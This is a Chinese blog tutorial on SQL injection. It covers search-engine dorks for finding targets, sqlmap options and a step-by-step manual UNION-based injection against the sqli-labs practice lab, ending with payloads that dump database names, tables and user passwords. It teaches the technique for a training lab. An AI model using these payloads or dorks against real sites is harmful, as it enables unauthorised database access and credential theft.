今天整理了下关于 SQL Injection 一些内容。
包括原理、注入流程,以及一些小Tips。
- 0x00 原理
SQL 注入: SQL 注入是一种将恶意的 SQL 代码插入或添加到应用(用户)的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的构造 SQL 语句,对数据库系统的内容进行直接检索或修改。
简单来说就是构建输入将 SQL 命令作为参数传入到后台数据库执行命令。
- 0x01 流程
搬了一学习资料的树图,如下清晰直观。
- 目标搜集:
通过搜索引擎、工具(爬虫)
- 特征例:
inurl: php?id=
inurl: php?id=site:xxx.com
- 手工识别注入点:
sqli-labs 第一关原页面函数查询语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在参数处插入
' and '1'='1 / and '1'='2 and 1=1 / and 1=2 and 1 like 1 / and 1 like 2
当在可控参数插入
'
形成闭合报错,说明此处可能存在注入点。
- 工具识别注入点:
sqlmap -m filename(filename中保存着需要检测的目标url)
sqlmap --crawl(sqlmap对目标站点爬取,依次测试)
- 工具详解:
在 sqlmap 中,可以通过
sqlmap --level
提高测试等级,然后对header中的相关参数也进行注入。
或者
sqlmap -r filename(filename中为目标站点的请求数据包)
- MYSQL 查询数据语法:
功能 | 语句 |
---|---|
查库 | select schema_name from information_schema.schemata |
查表 | select table_name from information_schema.tables where table_schema='库名' or (库名的十六进制) |
查列 | select column_name from information_schema.columns where table_name='表名' or (表名的十六进制) |
查数据 | select 列名 from 库名.表名 |
- 0x02 手工注入操作
- 信息收集:
目标 url :
http://localhost/sqli-labs/Less-1/?id=1
判断能否注入:
id=1' and '1'='1 正常
id=1' and '1'='2 非正常显示
可判断可能有注入。
- 判断字段数:
MYSQL 中使用 order by n 子句判断所在表有几个字段。
发现
id=1' order by 4--+ 返回错误
id=1' order by 3--+ 返回正常
说明表中有三个字段。
Tips: 在 SQL 语句中 --空格 表示注释符,由于实际注入过程中,空格可能无法显示,在 url 中 + 号也表示空格,所以就用 > --+ 来注释后面内容了, 常用于原查询语句的一些限制条件。
- 判断字段位置:
通过构建参数
and 1=2 union select 1,2,3……,n
联合查询判断显示字段是哪些
id=1' and 1=2 union select 1,2,3 --+
由此可以通过显示出的位子替换成我们需要的查询字段和表,即可一步一查出我们要找的库、表、列、数据。
- 爆所有库:
id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
- 爆指定库的所有表:
当前数据库名为security,拿当前库 security 演示
id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
- 爆指定表的所有字段:
拿 users 表演示
id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆出字段
id,username,password
- 爆数据(脱裤~呸呸呸 脱表):
id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users --+
原文作者:Keefe
原文链接:SQL 注入原理及流程
版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可